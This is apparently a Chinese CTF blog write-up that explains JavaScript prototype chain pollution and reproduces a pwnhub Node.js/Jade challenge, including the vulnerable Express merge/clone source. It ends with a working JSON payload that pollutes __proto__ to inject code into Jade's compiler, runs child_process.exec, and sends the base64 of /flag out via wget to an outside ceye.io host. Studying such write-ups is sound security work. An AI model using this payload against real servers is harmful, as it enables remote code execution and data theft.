js原型链污染学习
javascript2019/12/30
前两天pwnhub上出了一道node的web题,大概看出是js原型链污染,没能做出来,来看wp复现下
先学习一下相关概念
什么是javaScript 原型链
prototype
和__proto__
在javascript中,每个函数都有一个特殊的属性叫作
原型(prototype)
function Foo(){
this.name = "Foo"
};
console.log( Foo.prototype );
/*
{constructor: ƒ}
constructor: ƒ ()
__proto__:
constructor: ƒ Object()
__defineGetter__: ƒ __defineGetter__()
__defineSetter__: ƒ __defineSetter__()
hasOwnProperty: ƒ hasOwnProperty()
__lookupGetter__: ƒ __lookupGetter__()
__lookupSetter__: ƒ __lookupSetter__()
isPrototypeOf: ƒ isPrototypeOf()
propertyIsEnumerable: ƒ propertyIsEnumerable()
toString: ƒ toString()
valueOf: ƒ valueOf()
toLocaleString: ƒ toLocaleString()
get __proto__: ƒ __proto__()
set __proto__: ƒ __proto__()
*/
let f = new Foo()
console.log(f.prototype)
//undefined
f.__proto__
//{constructor: ƒ}
ps: js中的类
function Foo() {
this.name = "Foo"
this.showName = function(){
console.log(this.name)
}
}
Foo.prototype=f.__proto__
prototype
是类的属性,可以使用它来修改类的属性__proto__
是对象的属性,也可以直接修改类的属性
function Foo(){
this.name = "Foo"
};
Foo.prototype.showName = function() {
console.log(this.name)
}
let f2 = new Foo()
f2.__proto__.setName = function(name) {
this.name = name
}
console.log(Foo.prototype)
/*
{showName: ƒ, setName: ƒ, constructor: ƒ}
showName: ƒ ()
setName: ƒ (name)
constructor: ƒ Foo()
__proto__: Object
*/
let f3 = new Foo()
f3.setName("f3")
f3.showName()
//f3
原型的作用
所有类对象在实例化的时候将会拥有
prototype
中的属性和方法,这个特性被用来实现JavaScript中的继承机制。
function Father() {
this.firstName = 'Naruto'
this.lastName = 'Uzumaki'
}
function Son() {
this.firstName = 'Boruto'
}
Son.prototype = new Father()
let son = new Son()
console.log(son.lastName)
//Uzumaki
机制:如果当前对象无该属性,寻找当前对象的__proto__
,若找不到,继续溯源,直到__proto__
为null
原型链污染
污染利用的是__proto__
属性
let obj = {"name":"obj"}
obj.__proto__.name="obj"
let newObj = {}
console.log(newObj.name)
通过污染基类,给newObj赋了新的属性
污染的三种情况:
merge()
:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
theFunc(object, path, value)
clone()
function clone(obj) {
return merge({},obj)
}
回到题目
题目的名字叫被污染的jade,暗示了js原型链污染
这道题目没有给源码,下面的是lorexxar学长在代码执行后拿到的源码,用以参照
const express = require('express');
const path = require('path');
const app = express();
var router = express.Router();
app.set('views', path.join(__dirname, 'views'));
app.engine('jade', require('jade').__express);
app.set("view engine", "jade");
app.use(express.json()).use(express.urlencoded({
extended: false
}));
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
router.get('/', (req, res, next) => {
res.render('index', {
title: 'HTML',
name: ''
});
});
router.post('/', (req, res, next) => {
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
res.render('index', {
title: 'HTML',
name: copybody.name || ''
});
});
app.use('/', router)
app.listen(3000, () => console.log('Example app listening on port http://127.0.0.1:3000 !'))
利用起来不难,找的jadel/ib/compile.js
,然后在visit下注入node.line即可
payload:
{"__proto__":{"self":true,"line":"0, \"\" ));global.process.mainModule.constructor._load('child_process').exec(`wget msocp8.ceye.io?$(cat /flag|base64)`, function(){} );jade_debug.unshift(new jade.DebugItem( 0","filename":"test","title":"test","name":"test"}}